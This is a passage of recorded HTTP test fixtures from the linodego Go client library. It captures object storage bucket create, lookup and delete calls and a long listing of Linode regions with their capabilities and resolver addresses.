Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:17 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestObjectStorageBucket_GetMissing.yaml000066400000000000000000000110321474652371000342500ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"region":"us-east","label":"go-bucket-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets method: POST response: body: '{"hostname": "go-bucket-test-def.us-east-1.linodeobjects.com", "label": "go-bucket-test-def", "created": "2018-01-02T03:04:05", "region": "us-east", "cluster": "us-east-1", "size": 0, "objects": 0, "endpoint_type": "E0", "s3_endpoint": "us-east-1.linodeobjects.com"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "266" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-west-1/go-bucket-test-def method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:07 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" status: 404 Not Found code: 404 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/object-storage/buckets/us-east-1/go-bucket-test-def method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Wed, 08 Jan 2025 06:03:11 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - object_storage:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1600" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestObjectStorageBucket_Regional.yaml000066400000000000000000001045471474652371000340340ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nz-akl-1", "label": "Auckland, NZ", "country": "nz", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "us-den-1", "label": "Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "de-ham-1", "label": "Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "fr-mrs-1", "label": "Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "za-jnb-1", "label": "Johannesburg, ZA", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "my-kul-1", "label": "Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "co-bog-1", "label": "Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "mx-qro-1", "label": "Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "us-hou-1", "label": "Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "cl-scl-1", "label": "Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Vlans", "Metadata", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53,173.223.101.53", "ipv6": "1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 0, "maximum_linodes_per_pg": 0}, "site_type": "distributed"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", 